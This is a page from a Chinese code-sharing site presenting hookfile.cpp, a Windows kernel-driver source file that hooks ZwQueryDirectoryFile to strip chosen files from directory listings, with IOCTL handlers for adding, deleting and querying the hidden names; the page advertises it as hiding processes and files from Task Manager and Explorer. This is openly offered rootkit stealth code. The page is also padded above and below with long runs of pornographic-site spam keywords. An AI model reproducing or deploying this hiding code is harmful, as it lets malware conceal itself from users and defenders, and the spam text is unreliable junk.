亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? hookfile.cpp

?? 實現了隱藏進程,使進程對任務管理器和進程查看器均不可見,使文件對資源管理器不可見 是驅動編程入門的好例子
?? CPP
字號:
#include "HookFile.h"
/////////////////////////////////////////////////////////////////////////////////////////
extern "C"
{
	/*Pointer to NtQueryDirectoryFile function*/
	NtQueryDirFile TrueNtQueryDirectoryFile;
	/*NewNtQueryDirectoryFile: hooking version of NtQueryDirectoryFile function*/
	NTSTATUS NewNtQueryDirectoryFile(
		IN HANDLE FileHandle,
		IN HANDLE Event OPTIONAL,
		IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
		IN PVOID ApcContext OPTIONAL,
		OUT PIO_STATUS_BLOCK IoStatusBlock,
		OUT PVOID FileInformation,
		IN ULONG FileInformationLength,
		IN FILE_INFORMATION_CLASS FileInformationClass,
		IN BOOLEAN ReturnSingleEntry,
		IN PUNICODE_STRING FileName OPTIONAL,
		IN BOOLEAN RestartScan
		);
	/*defined in main.cpp*/
	NTSTATUS CompleteIrp( PIRP Irp, NTSTATUS status, ULONG info);
};

// Synchronization object
static wrSync sFileWRSync;

// Files to hide
// First - File Path, Second - File Name
typedef std::vector<std::pair<UNICODE_STRING,UNICODE_STRING> > FileNames;
static FileNames sFileNames;

/////////////////////////////////////////////////////////////////////////////////////////



NTSTATUS AddFileName(WCHAR* pBuf,ULONG buf_size,ULONG out_buf_size,PULONG BytesTxd)
/*++

Routine Description:



Arguments:



Return Value:



--*/
{
	DbgPrint("-HideDriver- Add File Name - Input string: %ws\n",pBuf);


	UNICODE_STRING FileName;
	UNICODE_STRING FilePath;


	WCHAR* pBufFilePath = new WCHAR[buf_size/2];
	memcpy(pBufFilePath,pBuf,buf_size);

	RtlInitUnicodeString(&FilePath,pBufFilePath);
	RtlInitUnicodeString(&FileName,NULL);
	// Get file name

	for(int i=FilePath.Length;i>=0;--i)
	{
		if(FilePath.Buffer[i] == L'\\')
		{
			i++;
			size_t NameSize = FilePath.Length - i;
			WCHAR* pBuf_temp_name = new WCHAR[NameSize/2+1];
	
			memcpy(pBuf_temp_name,pBuf+i,NameSize);
			RtlInitUnicodeString(&FileName,pBuf_temp_name);

			break;
		}
	}
	DbgPrint("FILE NAME: %ws\n",FileName.Buffer);
		
	// ..
	sFileWRSync.WaitToWrite();

	sFileNames.push_back(std::make_pair(FilePath,FileName));	

	sFileWRSync.Done();

	*pBuf= HOOK_SUCCESS; 
	*BytesTxd = 1;

	return STATUS_SUCCESS;
}
NTSTATUS DelFileName(WCHAR* pBuf,ULONG buf_size,ULONG out_buf_size,PULONG BytesTxd)
/*++

Routine Description:

	

Arguments:



Return Value:



--*/
{
	DbgPrint("-HideDriver- Del File Name - Input string: %ws\n",pBuf);


	UNICODE_STRING myUStr;
	RtlInitUnicodeString(&myUStr,pBuf);

	sFileWRSync.WaitToWrite();

	FileNames::iterator it = sFileNames.begin();
	while(sFileNames.end() != it)
	{
		if(RtlCompareUnicodeString(&myUStr,&( (*it).first ),FALSE) == 0)
		{			
			// Cleanup buffer
			delete[] (*it).first.Buffer;
			delete[] (*it).second.Buffer;
			// Delete from array
			sFileNames.erase(it);

			sFileWRSync.Done();

			*pBuf= HOOK_SUCCESS;
			*BytesTxd = 1;

			return STATUS_SUCCESS;
		}
		++it;
	}

	sFileWRSync.Done();

	return STATUS_INVALID_DEVICE_REQUEST;
}
NTSTATUS ClearFileNames(WCHAR* pBuf,ULONG buf_size,ULONG out_buf_size,PULONG BytesTxd)
/*++

Routine Description:



Arguments:



Return Value:



--*/
{
	DbgPrint("-HideDriver- Clear File Names\n");


	sFileWRSync.WaitToWrite();

	FileNames::iterator it = sFileNames.begin();
	while(sFileNames.end() != it)
	{
		delete[] (*it).first.Buffer;
		delete[] (*it).second.Buffer;
		++it;
	}
	sFileNames.clear();

	sFileWRSync.Done();	

	*pBuf = HOOK_SUCCESS;
	*BytesTxd = 1;

	return STATUS_SUCCESS;
}
NTSTATUS QueryFileNames(WCHAR* pBuf,ULONG buf_size,ULONG out_buf_size,PULONG BytesTxd)
/*++

Routine Description:



Arguments:



Return Value:



--*/
{
	DbgPrint("-HideDriver- Query File Names\n");
	sFileWRSync.WaitToRead();
	ULONG nIndex=0;

	FileNames::iterator it = sFileNames.begin();
	while(sFileNames.end() != it)
	{
		size_t str_size = (*it).first.Length;

		if((str_size + nIndex) > out_buf_size)
		{
			sFileWRSync.Done();
			return STATUS_INVALID_PARAMETER;
		}			

		memcpy((char*)pBuf + nIndex,(*it).first.Buffer,str_size);
		nIndex+=str_size;

		memcpy((char*)pBuf + nIndex,L"\n",2);
		nIndex+=2;

		++it;
	}
	sFileWRSync.Done();

	memcpy((char*)pBuf + nIndex,L"\0",2);
	nIndex+=2;

	*BytesTxd = nIndex;

	return STATUS_SUCCESS;
}

NTSTATUS HookFileIrpRoutine(PIRP pIrp)
/*++

Routine Description:



Arguments:



Return Value:



--*/
{
	NTSTATUS status = STATUS_SUCCESS;
	ULONG BytesTxd =0; // Number of transmitted,received bytes
	PIO_STACK_LOCATION IrpStack=IoGetCurrentIrpStackLocation(pIrp);

	// Getting the IOCTL code
	ULONG ControlCode =
		IrpStack->Parameters.DeviceIoControl.IoControlCode;
	// Getting the exchange method
	//selection of the first two bits
	ULONG method = ControlCode & 0x03;

	if(method!=METHOD_BUFFERED)
		return CompleteIrp(pIrp,STATUS_INVALID_PARAMETER,BytesTxd); 

	ULONG InputLength = 
		IrpStack->Parameters.DeviceIoControl.InputBufferLength;

	ULONG OutputLength =
		IrpStack->Parameters.DeviceIoControl.OutputBufferLength;

	if( OutputLength < 1 || InputLength < 1)
		return CompleteIrp(pIrp,STATUS_INVALID_PARAMETER,BytesTxd);

	WCHAR *buff;
	buff = (PWCHAR)pIrp->AssociatedIrp.SystemBuffer;

	switch( ControlCode) 
	{
	case IOCTL_ADD_FILE_NAME:
		status = AddFileName(buff,InputLength,OutputLength,&BytesTxd); break;
	case IOCTL_DEL_FILE_NAME:
		status = DelFileName(buff,InputLength,OutputLength,&BytesTxd); break;
	case IOCTL_CLEAR_FILE_NAME:
		status = ClearFileNames(buff,InputLength,OutputLength,&BytesTxd); break;
	case IOCTL_QUERY_FILE_NAME:
		status = QueryFileNames(buff,InputLength,OutputLength,&BytesTxd); break;
	default:	
		status = STATUS_INVALID_DEVICE_REQUEST;
	}
	return CompleteIrp(pIrp,status,BytesTxd); 
}
void HookFileInit(HookMng& refHookMng,QueryMng& refQueryMng)
/*++

Routine Description:



Arguments:



Return Value:



--*/
{
	UNICODE_STRING funcUnicodeStr_file;
	RtlInitUnicodeString(&funcUnicodeStr_file,L"ZwQueryDirectoryFile");	

	std::auto_ptr<Hook> pNewHook(
		CreateHook(	NewNtQueryDirectoryFile,
					&funcUnicodeStr_file));
	
	TrueNtQueryDirectoryFile = (NtQueryDirFile)pNewHook->mpTrueFuncPtr;


	if(!refHookMng.QueueHook(*pNewHook))
		DbgPrint("Hook installing error2\n");

	
	// Irp processing routines

	refQueryMng.AddRoutine(IOCTL_ADD_FILE_NAME,&HookFileIrpRoutine);
	refQueryMng.AddRoutine(IOCTL_DEL_FILE_NAME,&HookFileIrpRoutine);
	refQueryMng.AddRoutine(IOCTL_CLEAR_FILE_NAME,&HookFileIrpRoutine);
	refQueryMng.AddRoutine(IOCTL_QUERY_FILE_NAME,&HookFileIrpRoutine);
}

void HookFileExit()
/*++

Routine Description:



Arguments:



Return Value:



--*/
{
	sFileWRSync.WaitToWrite();

	FileNames::iterator it = sFileNames.begin();
	while(sFileNames.end() != it)
	{
		delete[] (*it).first.Buffer;
		delete[] (*it).second.Buffer;
		++it;
	}
	sFileNames.clear();

	sFileWRSync.Done();	
}
bool CheckFileName(UNICODE_STRING* pFileName)
/*++

Routine Description:

	Checks if file should be hided by file name

Arguments:



Return Value:



--*/
{
	sFileWRSync.WaitToRead();

	FileNames::iterator it = sFileNames.begin();
	while(sFileNames.end() != it)
	{
		if(RtlCompareUnicodeString(&( (*it).second ),pFileName,FALSE) == 0)
		{
			sFileWRSync.Done();
			return true;
		}
		++it;
	}

	sFileWRSync.Done();
	return false;
}
bool CheckFilePath(HANDLE FileHandle,UNICODE_STRING* pFileName)
/*++

Routine Description:

	Checks if file should be hided by file path

Arguments:



Return Value:



--*/
{
	UNICODE_STRING pDevName;
	PFILE_OBJECT file_obj; 
	PDEVICE_OBJECT dev_obj;
	NTSTATUS ret_status;

	ret_status=ObReferenceObjectByHandle(FileHandle,FILE_ALL_ACCESS,*IoFileObjectType,
		KernelMode,(PVOID*)(&file_obj),NULL);

	dev_obj = file_obj->DeviceObject;

	RtlVolumeDeviceToDosName(dev_obj,&pDevName);

	ObDereferenceObject(file_obj);

	//DbgPrint("%ws%ws%ws\n",pDevName.Buffer,file_obj->FileName.Buffer,pFileName->Buffer);

	return true;
}
template<class T>
NTSTATUS HideFile(HANDLE FileHandle,PVOID FileInformation)
/*++

Routine Description:

	Hides selected files

Arguments:



Return Value:



--*/
{
	ULONG PreviousDelta=0;
	UNICODE_STRING UnicodeFileName;
	RtlInitUnicodeString(&UnicodeFileName,NULL); 

	T pFileInfo=reinterpret_cast<T>(FileInformation);

	// The loop for finding and remounting files,which should be hided, from the array
	bool pass_me_once=true;
	while( (pFileInfo->NextEntryOffset != 0) || pass_me_once)
	{
		if(pass_me_once)
			pass_me_once=false;
		else
		{
			// move to the next file in the array
			PreviousDelta = pFileInfo->NextEntryOffset;
			pFileInfo = (T)(((PUCHAR)pFileInfo)+pFileInfo->NextEntryOffset);
		}
		
		UnicodeFileName.Buffer = pFileInfo->FileName;
		UnicodeFileName.Length = pFileInfo->FileNameLength;

		
		// check file name
		if( !CheckFileName(&UnicodeFileName) ) 
			continue;	
		// check file full path
		if( !CheckFilePath(FileHandle,&UnicodeFileName) )
			continue;
		DbgPrint("%ws\n",pFileInfo->FileName);
		// if the file is first
		if(PreviousDelta == 0) 
		{
			// if there are no any file
			if( pFileInfo->NextEntryOffset == 0 )
				return STATUS_SUCCESS;
				//return STATUS_NO_MORE_FILES;

			//if other files exist, erasing current file 
			//by moving the remain array`s elements to the beginning
			ULONG shift = pFileInfo->NextEntryOffset;
	
			//Calculate the buffer size
			ULONG totalSize=0;
			T ptempFileInfo=(T)pFileInfo;
			while(ptempFileInfo->NextEntryOffset != 0)
			{
				// calculate size
				totalSize+=ptempFileInfo->NextEntryOffset;
				// shift to the next file in the array
				ptempFileInfo = (T)(((PUCHAR)ptempFileInfo)+ptempFileInfo->NextEntryOffset);
			}

			// subtract the size of the first element in the array
			size_t MoveSize = (size_t)(totalSize-shift);
			// add the size of the last element
			MoveSize += sizeof(*ptempFileInfo);
			// add the Filename`s length of the last element
			MoveSize += ptempFileInfo->FileNameLength;
			//we already have definition WCHAR FileName[1](2 bytes)
			//so we need delete it from general sum
			MoveSize -= 2;
			// shift array to one element
			memcpy((PVOID)pFileInfo,(PUCHAR)pFileInfo+(size_t)(shift),MoveSize);

			//start the loop from the beginning
			pass_me_once=true;
			PreviousDelta = 0;

			continue;
		}
		// if the file isn`t the first,
		// save the current offset
 		ULONG curentDelta=pFileInfo->NextEntryOffset;
		// go to one file back
		pFileInfo = (T)(((PUCHAR)pFileInfo)-PreviousDelta);

		// if the file is the last
		if(curentDelta == 0 ) 
		{
			// set the offset in 0
			// as the last file in array
			pFileInfo->NextEntryOffset = 0;
			break;
		}
		//if the file isn`t the last, hide file and set additional offset
		pFileInfo->NextEntryOffset = PreviousDelta + curentDelta;

	}//while(pFileInfo->NextEntryDelta != 0)
	return STATUS_SUCCESS;
}
NTSTATUS NewNtQueryDirectoryFile(
								 IN HANDLE FileHandle,
								 IN HANDLE Event OPTIONAL,
								 IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
								 IN PVOID ApcContext OPTIONAL,
								 OUT PIO_STATUS_BLOCK IoStatusBlock,
								 OUT PVOID FileInformation,	
								 IN ULONG FileInformationLength,
								 IN FILE_INFORMATION_CLASS FileInformationClass,
								 IN BOOLEAN ReturnSingleEntry,
								 IN PUNICODE_STRING FileName OPTIONAL,
								 IN BOOLEAN RestartScan
								 )
/*++

Routine Description:

	

Arguments:



Return Value:



--*/
{
	NTSTATUS status=TrueNtQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,
		FileInformation,FileInformationLength,FileInformationClass,ReturnSingleEntry, FileName , RestartScan);
	if(!NT_SUCCESS(status))return status;

	switch(FileInformationClass)
	{
	case FileDirectoryInformation:
		return HideFile<PFILE_DIRECTORY_INFORMATION>(FileHandle,FileInformation);
	case FileFullDirectoryInformation:
		return HideFile<PFILE_FULL_DIRECTORY_INFORMATION>(FileHandle,FileInformation);
	case FileBothDirectoryInformation:		
		return HideFile<PFILE_BOTH_DIRECTORY_INFORMATION>(FileHandle,FileInformation);
	case FileNamesInformation:
		return HideFile<PFILE_NAMES_INFORMATION>(FileHandle,FileInformation);
	case FileIdBothDirectoryInformation:
		return HideFile<PFILE_ID_BOTH_DIR_INFORMATION>(FileHandle,FileInformation);
	case FileIdFullDirectoryInformation:
		return HideFile<PFILE_ID_FULL_DIR_INFORMATION>(FileHandle,FileInformation);
	default:return status;
	}
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产亚洲欧美中文| 图片区小说区国产精品视频 | 国产乱妇无码大片在线观看| 成人夜色视频网站在线观看| 欧美日韩国产高清一区| 中文字幕成人在线观看| 亚洲成av人片一区二区| 91亚洲男人天堂| 久久久久国产精品厨房| 日韩精品成人一区二区三区| 91一区一区三区| 久久久精品日韩欧美| 日韩精品免费专区| 91福利在线免费观看| 中文字幕二三区不卡| 激情图片小说一区| 欧美一区二区三区四区在线观看| 亚洲欧美日韩国产成人精品影院| 国产高清久久久久| 久久女同精品一区二区| 久久国产福利国产秒拍| 在线成人小视频| 亚洲国产精品视频| 欧洲精品视频在线观看| 亚洲欧美电影一区二区| 99麻豆久久久国产精品免费| 欧美国产日本韩| 国产69精品久久777的优势| 久久影院视频免费| 国产综合久久久久久久久久久久| 欧美一级爆毛片| 美女网站色91| 精品久久久久久久人人人人传媒 | 久久久久久久久久看片| 男人的天堂亚洲一区| 欧美一级日韩不卡播放免费| 日韩精品亚洲专区| 日韩一级高清毛片| 精品亚洲欧美一区| 国产偷国产偷亚洲高清人白洁| 精品午夜久久福利影院| 国产视频一区在线播放| 成人晚上爱看视频| 亚洲欧美国产高清| 欧美日韩一区二区三区不卡| 五月激情综合网| 精品噜噜噜噜久久久久久久久试看 | 26uuu久久天堂性欧美| 国产尤物一区二区在线| 久久久久久亚洲综合| 成人黄色电影在线| 亚洲综合一二三区| 日韩精品一区二区三区四区| 精品一区二区久久久| 国产精品日产欧美久久久久| 91在线视频免费91| 日本亚洲欧美天堂免费| 久久综合九色综合欧美就去吻| 国产91在线看| 一区二区理论电影在线观看| 欧美一级片在线观看| 国产成人三级在线观看| 亚洲综合视频在线| 精品久久国产老人久久综合| 波多野结衣亚洲一区| 亚洲国产精品久久人人爱蜜臀 | 波多野结衣中文一区| 亚洲国产精品久久艾草纯爱| 欧美va亚洲va在线观看蝴蝶网| 国产盗摄女厕一区二区三区| 一区二区久久久久久| 欧美精品一区二区不卡 | 亚洲欧洲成人精品av97| 欧美色综合网站| 国产精品一区二区视频| 亚洲免费在线视频一区 二区| 欧美一区日本一区韩国一区| 风间由美性色一区二区三区| 亚洲一级二级三级在线免费观看| 欧美精品一区二区三| 日本韩国视频一区二区| 国产一区福利在线| 日韩电影在线观看电影| 国产精品色噜噜| 日韩欧美亚洲国产另类| 91免费国产视频网站| 精品一区二区三区免费播放| 亚洲最大色网站| 国产精品国产自产拍在线| 欧美一区二区三区在线视频| 欧美日韩亚洲综合| 北条麻妃国产九九精品视频| 日本成人在线看| 亚洲成人1区2区| 一区二区三区在线观看国产| 精品国产制服丝袜高跟| 欧美精品免费视频| 在线观看日韩一区| 91麻豆精品一区二区三区| 韩国精品一区二区| 美国毛片一区二区| 天天综合天天做天天综合| 亚洲综合丁香婷婷六月香| 中文字幕一区三区| 国产精品高清亚洲| 国产无遮挡一区二区三区毛片日本| 日韩欧美国产wwwww| 在线观看91av| 欧美区在线观看| 色悠久久久久综合欧美99| av男人天堂一区| 99久久精品情趣| 成人黄色大片在线观看| 国产成人av影院| 国产久卡久卡久卡久卡视频精品| 麻豆国产精品一区二区三区| 免费高清成人在线| 久久99久久精品欧美| 精品在线免费视频| 国内精品免费**视频| 狠狠色丁香婷婷综合| 国产一区二区三区免费播放| 国产精品一区二区在线观看不卡 | 日韩精品专区在线| 日韩免费观看2025年上映的电影| 日韩女优av电影| 久久久综合精品| 一区精品在线播放| 亚洲欧美视频在线观看| 亚洲综合激情网| 毛片av一区二区| 国产白丝精品91爽爽久久| av在线综合网| 在线观看一区日韩| 日韩视频永久免费| 国产女人水真多18毛片18精品视频| 国产精品丝袜91| 亚洲最新在线观看| 韩国在线一区二区| 91小视频在线免费看| 欧美群妇大交群的观看方式| 日韩视频一区在线观看| 国产精品三级电影| 日日夜夜精品视频天天综合网| 麻豆国产精品777777在线| 国产91高潮流白浆在线麻豆| 在线视频一区二区三区| 欧美一级视频精品观看| 欧美国产日本视频| 天天av天天翘天天综合网| 国产一区二区三区视频在线播放| 99视频国产精品| 欧美一区二区三区小说| 中文字幕在线免费不卡| 日日摸夜夜添夜夜添国产精品| 国产精品一二一区| 欧美三级韩国三级日本一级| 久久综合色综合88| 亚洲激情自拍视频| 精品一区二区三区不卡 | 亚洲日本在线看| 极品美女销魂一区二区三区| 91小视频在线观看| 久久婷婷成人综合色| 亚洲18影院在线观看| 国产98色在线|日韩| 3d成人动漫网站| 亚洲视频小说图片| 国产精品影视在线| 91麻豆精品国产91久久久使用方法| 国产精品久久久久久久久免费相片 | 亚洲国产精品久久久久秋霞影院| 91在线免费看| 欧美精品一区二区久久婷婷| 亚洲一区免费观看| 91色综合久久久久婷婷| 欧美极品少妇xxxxⅹ高跟鞋| 蜜桃av噜噜一区| 欧美三级日韩在线| 亚洲女子a中天字幕| 懂色av中文一区二区三区| 精品剧情v国产在线观看在线| 亚洲小说欧美激情另类| 91看片淫黄大片一级| 国产精品久久久久久久午夜片| 久久91精品久久久久久秒播| 欧美军同video69gay| 亚洲美女视频在线| 97精品超碰一区二区三区| 欧美国产精品一区二区三区| 国产原创一区二区| 久久久久久久综合日本| 国产综合一区二区| 久久久久久一级片| 国产91精品一区二区麻豆网站 | 国产精品自拍一区| 欧美大胆一级视频| 久久不见久久见免费视频7| 制服丝袜亚洲色图| 日韩高清不卡一区二区三区|